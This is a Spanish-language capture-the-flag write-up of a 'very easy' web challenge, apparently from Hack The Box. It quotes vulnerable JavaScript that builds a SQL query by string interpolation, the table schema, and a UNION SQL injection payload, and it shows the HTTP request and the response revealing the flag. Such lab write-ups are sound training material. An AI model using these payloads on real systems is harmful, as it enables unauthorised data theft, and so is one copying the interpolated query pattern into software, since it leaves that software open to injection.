Unholy Union

Challenge Description

On the outskirts of a forsaken town lies an abandoned warehouse, rumored to store more than just forgotten relics. Locals speak of an unholy union within its database, where spectral data intertwines with the realm of the living. Whispers tell of a cursed ledger that merges forbidden entries through mysterious queries. Some say that the warehouse’s inventory system responds to those who know how to merge the right requests. Can you brave the haunted inventory system and unravel the ghostly union of data before the spirits corrupt the world beyond?

Categoria: Web
Dificultad: Muy Fácil

Solution

Nos dan los archivos de la pagina web. Lo primero que identificamos es que la aplicacion es vulnerable a SQL Injection ya que no sanitizan el parametro query.

src/public/static/js/script.js
function updateQuery() {
  const query = document.getElementById("searchInput").value;
  let sqlQuery;

  // If the query is empty, show the full inventory query
  if (query === "") {
    sqlQuery = "SELECT * FROM inventory";
  } else {
    sqlQuery = `SELECT * FROM inventory WHERE name LIKE '%${query}%'`;
  }

Sabemos que la bandera se encuentra en la tabla flag y la tabla inventory cuenta con 5 columnas esto nos servira para el SQL Injection.

entrypoint.sh
CREATE TABLE IF NOT EXISTS flag (
    flag VARCHAR(255) NOT NULL
);

INSERT INTO flag(flag) VALUES("$(cat /flag.txt)");

CREATE TABLE IF NOT EXISTS inventory (
    id INT AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(255) NOT NULL,
    description TEXT,
    origin VARCHAR(255),
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

Ya que vemos el output del query y por el nombre del reto podemos inferir que es una UNION Injection con el siguiente payload obtendremos la flag.

a' UNION ALL SELECT 1,2,flag,4,5 from flag-- -
GET /search?query=a%27%20UNION%20ALL%20SELECT%201,2,flag,4,5%20from%20flag--%20- HTTP/1.1
Host: 94.237.54.116:33237
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://94.237.54.116:33237/
Connection: keep-alive
Priority: u=0
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Content-Type: application/json; charset=utf-8
Content-Length: 144
ETag: W/"90-19DNST7zPVay8R7Ghsj0vELYeLo"
Date: Mon, 17 Feb 2025 10:22:25 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"status":"success","message":[{"id":1,"name":"2","description":"HTB{un10n_1Nj3ct1on_15_345y_t0_l34rn_r1gh17?}","origin":"4","created_at":"5"}]}